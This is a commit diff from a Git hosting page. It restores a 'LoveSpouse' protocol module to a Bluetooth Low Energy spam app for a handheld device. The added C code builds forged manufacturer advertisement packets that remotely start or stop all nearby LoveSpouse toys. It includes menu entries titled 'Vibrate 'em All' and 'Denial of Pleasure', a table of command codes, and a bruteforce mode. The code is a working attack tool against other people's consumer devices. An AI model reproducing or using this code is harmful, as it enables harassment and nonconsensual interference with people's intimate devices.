Jelajahi Sumber

Revert "Removed lovespouse"

This reverts commit 0adca2879be98b08626a65c7cb0f2b6fcf3bf0ff.
Willy-JL 1 tahun lalu
induk
melakukan
6da945bac1

+ 26 - 0
ble_spam/ble_spam.c

@@ -109,6 +109,32 @@ static Attack attacks[] = {
                 .cfg.swiftpair = {},
             },
     },
+    {
+        .title = "Vibrate 'em All",
+        .text = "Activate all LoveSpouse toys",
+        .protocol = &protocol_lovespouse,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg.lovespouse =
+                    {
+                        .state = LovespouseStatePlay,
+                    },
+            },
+    },
+    {
+        .title = "Denial of Pleasure",
+        .text = "Disable all LoveSpouse toys",
+        .protocol = &protocol_lovespouse,
+        .payload =
+            {
+                .random_mac = true,
+                .cfg.lovespouse =
+                    {
+                        .state = LovespouseStateStop,
+                    },
+            },
+    },
 };
 
 #define ATTACKS_COUNT ((signed)COUNT_OF(attacks))

TEMPAT SAMPAH
ble_spam/icons/heart.png


+ 1 - 0
ble_spam/protocols/_protocols.c

@@ -4,6 +4,7 @@ const Protocol* protocols[] = {
     &protocol_continuity,
     &protocol_easysetup,
     &protocol_fastpair,
+    &protocol_lovespouse,
     &protocol_swiftpair,
 };
 

+ 2 - 0
ble_spam/protocols/_protocols.h

@@ -3,6 +3,7 @@
 #include "continuity.h"
 #include "easysetup.h"
 #include "fastpair.h"
+#include "lovespouse.h"
 #include "swiftpair.h"
 
 typedef enum {
@@ -23,6 +24,7 @@ struct Payload {
         ContinuityCfg continuity;
         EasysetupCfg easysetup;
         FastpairCfg fastpair;
+        LovespouseCfg lovespouse;
         SwiftpairCfg swiftpair;
     } cfg;
 };

+ 1 - 0
ble_spam/protocols/_scenes.h

@@ -1,4 +1,5 @@
 #include "continuity_scenes.h"
 #include "easysetup_scenes.h"
 #include "fastpair_scenes.h"
+#include "lovespouse_scenes.h"
 #include "swiftpair_scenes.h"

+ 292 - 0
ble_spam/protocols/lovespouse.c

@@ -0,0 +1,292 @@
+#include "lovespouse.h"
+#include "_protocols.h"
+
+// Hacked together by @Willy-JL
+// Discovered by @mandomat
+// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
+
+typedef struct {
+    uint32_t value;
+    const char* name;
+} LovespouseMode;
+
+static const LovespouseMode plays[] = {
+    {0xE49C6C, "Classic 1"},       {0xE7075E, "Classic 2"},       {0xE68E4F, "Classic 3"},
+    {0xE1313B, "Classic 4"},       {0xE0B82A, "Classic 5"},       {0xE32318, "Classic 6"},
+    {0xE2AA09, "Classic 7"},       {0xED5DF1, "Classic 8"},       {0xECD4E0, "Classic 9"},
+    {0xD41F5D, "Independent 1-1"}, {0xD7846F, "Independent 1-2"}, {0xD60D7E, "Independent 1-3"},
+    {0xD1B20A, "Independent 1-4"}, {0xD0B31B, "Independent 1-5"}, {0xD3A029, "Independent 1-6"},
+    {0xD22938, "Independent 1-7"}, {0xDDDEC0, "Independent 1-8"}, {0xDC57D1, "Independent 1-9"},
+    {0xA4982E, "Independent 2-1"}, {0xA7031C, "Independent 2-2"}, {0xA68A0D, "Independent 2-3"},
+    {0xA13579, "Independent 2-4"}, {0xA0BC68, "Independent 2-5"}, {0xA3275A, "Independent 2-6"},
+    {0xA2AE4B, "Independent 2-7"}, {0xAD59B3, "Independent 2-8"}, {0xACD0A2, "Independent 2-9"},
+};
+
+static const LovespouseMode stops[] = {
+    {0xE5157D, "Classic Stop"},
+    {0xD5964C, "Independent 1 Stop"},
+    {0xA5113F, "Independent 2 Stop"},
+};
+
+static const struct {
+    const LovespouseMode* modes;
+    uint8_t count;
+} modes[LovespouseStateCOUNT] = {
+    [0] = {plays, COUNT_OF(plays)},
+    [LovespouseStatePlay] = {plays, COUNT_OF(plays)},
+    [LovespouseStateStop] = {stops, COUNT_OF(stops)},
+};
+
+static const char* get_name(const Payload* payload) {
+    UNUSED(payload);
+    return "LoveSpouse";
+}
+
+static void make_packet(uint8_t* _size, uint8_t** _packet, Payload* payload) {
+    LovespouseCfg* cfg = payload ? &payload->cfg.lovespouse : NULL;
+
+    LovespouseState state;
+    if(cfg && cfg->state != 0x00) {
+        state = cfg->state;
+    } else {
+        const LovespouseState states[] = {
+            LovespouseStatePlay,
+            LovespouseStateStop,
+        };
+        state = states[rand() % COUNT_OF(states)];
+    }
+
+    uint32_t mode;
+    switch(cfg ? payload->mode : PayloadModeRandom) {
+    case PayloadModeRandom:
+    default:
+        mode = modes[state].modes[rand() % modes[state].count].value;
+        break;
+    case PayloadModeValue:
+        mode = cfg->mode;
+        break;
+    case PayloadModeBruteforce:
+        mode = cfg->mode = payload->bruteforce.value;
+        break;
+    }
+
+    uint8_t size = 22;
+    uint8_t* packet = malloc(size);
+    uint8_t i = 0;
+
+    packet[i++] = 2; // Size
+    packet[i++] = 0x01; // AD Type (Flags)
+    packet[i++] = 0x1A; // Flags
+
+    packet[i++] = 14; // Size
+    packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
+    packet[i++] = 0xFF; // Company ID (Typo Products, LLC)
+    packet[i++] = 0x00; // ...
+    packet[i++] = 0x6D;
+    packet[i++] = 0xB6;
+    packet[i++] = 0x43;
+    packet[i++] = 0xCE;
+    packet[i++] = 0x97;
+    packet[i++] = 0xFE;
+    packet[i++] = 0x42;
+    packet[i++] = 0x7C;
+    packet[i++] = (mode >> 0x10) & 0xFF;
+    packet[i++] = (mode >> 0x08) & 0xFF;
+    packet[i++] = (mode >> 0x00) & 0xFF;
+
+    packet[i++] = 3; // Size
+    packet[i++] = 0x03; // AD Type (Service UUID List)
+    packet[i++] = 0x8F; // Service UUID (Unregistered)
+    packet[i++] = 0xAE; // ...
+
+    *_size = size;
+    *_packet = packet;
+}
+
+enum {
+    _ConfigExtraStart = ConfigExtraStart,
+    ConfigMode,
+    ConfigCOUNT,
+};
+static void config_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    scene_manager_set_scene_state(ctx->scene_manager, SceneConfig, index);
+    switch(index) {
+    case ConfigMode:
+        scene_manager_next_scene(ctx->scene_manager, SceneLovespouseMode);
+        break;
+    default:
+        ctx->fallback_config_enter(ctx, index);
+        break;
+    }
+}
+static void mode_changed(VariableItem* item) {
+    Payload* payload = variable_item_get_context(item);
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    uint8_t index = variable_item_get_current_value_index(item);
+    if(index) {
+        index--;
+        payload->mode = PayloadModeValue;
+        cfg->mode = modes[cfg->state].modes[index].value;
+        variable_item_set_current_value_text(item, modes[cfg->state].modes[index].name);
+    } else {
+        payload->mode = PayloadModeRandom;
+        variable_item_set_current_value_text(item, "Random");
+    }
+}
+static void extra_config(Ctx* ctx) {
+    Payload* payload = &ctx->attack->payload;
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    VariableItemList* list = ctx->variable_item_list;
+    VariableItem* item;
+    uint8_t value_index;
+
+    item = variable_item_list_add(
+        list, "Toy Mode", modes[cfg->state].count + 1, mode_changed, payload);
+    const char* mode_name = NULL;
+    char mode_name_buf[9];
+    switch(payload->mode) {
+    case PayloadModeRandom:
+    default:
+        mode_name = "Random";
+        value_index = 0;
+        break;
+    case PayloadModeValue:
+        for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
+            if(cfg->mode == modes[cfg->state].modes[i].value) {
+                mode_name = modes[cfg->state].modes[i].name;
+                value_index = i + 1;
+                break;
+            }
+        }
+        if(!mode_name) {
+            snprintf(mode_name_buf, sizeof(mode_name_buf), "%06lX", cfg->mode);
+            mode_name = mode_name_buf;
+            value_index = modes[cfg->state].count + 1;
+        }
+        break;
+    case PayloadModeBruteforce:
+        mode_name = "Bruteforce";
+        value_index = modes[cfg->state].count + 1;
+        break;
+    }
+    variable_item_set_current_value_index(item, value_index);
+    variable_item_set_current_value_text(item, mode_name);
+
+    variable_item_list_set_enter_callback(list, config_callback, ctx);
+}
+
+static uint8_t config_count(const Payload* payload) {
+    UNUSED(payload);
+    return ConfigCOUNT - ConfigExtraStart - 1;
+}
+
+const Protocol protocol_lovespouse = {
+    .icon = &I_heart,
+    .get_name = get_name,
+    .make_packet = make_packet,
+    .extra_config = extra_config,
+    .config_count = config_count,
+};
+
+static void mode_callback(void* _ctx, uint32_t index) {
+    Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    if(index == 0) {
+        payload->mode = PayloadModeRandom;
+        scene_manager_previous_scene(ctx->scene_manager);
+    } else if(index == modes[cfg->state].count + 1U) {
+        scene_manager_next_scene(ctx->scene_manager, SceneLovespouseModeCustom);
+    } else if(modes[cfg->state].count + 2U) {
+        payload->mode = PayloadModeBruteforce;
+        payload->bruteforce.counter = 0;
+        payload->bruteforce.value = cfg->mode;
+        payload->bruteforce.size = 3;
+        scene_manager_previous_scene(ctx->scene_manager);
+    } else {
+        payload->mode = PayloadModeValue;
+        cfg->mode = modes[cfg->state].modes[index - 1].value;
+        scene_manager_previous_scene(ctx->scene_manager);
+    }
+}
+void scene_lovespouse_mode_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    Submenu* submenu = ctx->submenu;
+    uint32_t selected = 0;
+
+    submenu_add_item(submenu, "Random", 0, mode_callback, ctx);
+    if(payload->mode == PayloadModeRandom) {
+        selected = 0;
+    }
+
+    bool found = false;
+    for(uint8_t i = 0; i < modes[cfg->state].count; i++) {
+        submenu_add_item(submenu, modes[cfg->state].modes[i].name, i + 1, mode_callback, ctx);
+        if(!found && payload->mode == PayloadModeValue &&
+           cfg->mode == modes[cfg->state].modes[i].value) {
+            found = true;
+            selected = i + 1;
+        }
+    }
+    submenu_add_item(submenu, "Custom", modes[cfg->state].count + 1, mode_callback, ctx);
+    if(!found && payload->mode == PayloadModeValue) {
+        selected = modes[cfg->state].count + 1;
+    }
+
+    submenu_add_item(submenu, "Bruteforce", modes[cfg->state].count + 2, mode_callback, ctx);
+    if(payload->mode == PayloadModeBruteforce) {
+        selected = modes[cfg->state].count + 2;
+    }
+
+    submenu_set_selected_item(submenu, selected);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewSubmenu);
+}
+bool scene_lovespouse_mode_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_lovespouse_mode_on_exit(void* _ctx) {
+    Ctx* ctx = _ctx;
+    submenu_reset(ctx->submenu);
+}
+
+static void mode_custom_callback(void* _ctx) {
+    Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    payload->mode = PayloadModeValue;
+    cfg->mode =
+        (ctx->byte_store[0] << 0x10) + (ctx->byte_store[1] << 0x08) + (ctx->byte_store[2] << 0x00);
+    scene_manager_previous_scene(ctx->scene_manager);
+    scene_manager_previous_scene(ctx->scene_manager);
+}
+void scene_lovespouse_mode_custom_on_enter(void* _ctx) {
+    Ctx* ctx = _ctx;
+    Payload* payload = &ctx->attack->payload;
+    LovespouseCfg* cfg = &payload->cfg.lovespouse;
+    ByteInput* byte_input = ctx->byte_input;
+
+    byte_input_set_header_text(byte_input, "Enter custom Toy Mode");
+
+    ctx->byte_store[0] = (cfg->mode >> 0x10) & 0xFF;
+    ctx->byte_store[1] = (cfg->mode >> 0x08) & 0xFF;
+    ctx->byte_store[2] = (cfg->mode >> 0x00) & 0xFF;
+
+    byte_input_set_result_callback(
+        byte_input, mode_custom_callback, NULL, ctx, (void*)ctx->byte_store, 3);
+
+    view_dispatcher_switch_to_view(ctx->view_dispatcher, ViewByteInput);
+}
+bool scene_lovespouse_mode_custom_on_event(void* _ctx, SceneManagerEvent event) {
+    UNUSED(_ctx);
+    UNUSED(event);
+    return false;
+}
+void scene_lovespouse_mode_custom_on_exit(void* _ctx) {
+    UNUSED(_ctx);
+}

+ 19 - 0
ble_spam/protocols/lovespouse.h

@@ -0,0 +1,19 @@
+#pragma once
+#include "_base.h"
+
+// Hacked together by @Willy-JL
+// Discovered by @mandomat
+// Blog post at https://mandomat.github.io/2023-11-13-denial-of-pleasure/
+
+typedef enum {
+    LovespouseStatePlay = 0x01, // Skip 0 as it means unset
+    LovespouseStateStop,
+    LovespouseStateCOUNT,
+} LovespouseState;
+
+typedef struct {
+    LovespouseState state;
+    uint32_t mode;
+} LovespouseCfg;
+
+extern const Protocol protocol_lovespouse;

+ 2 - 0
ble_spam/protocols/lovespouse_scenes.h

@@ -0,0 +1,2 @@
+ADD_SCENE(lovespouse_mode, LovespouseMode)
+ADD_SCENE(lovespouse_mode_custom, LovespouseModeCustom)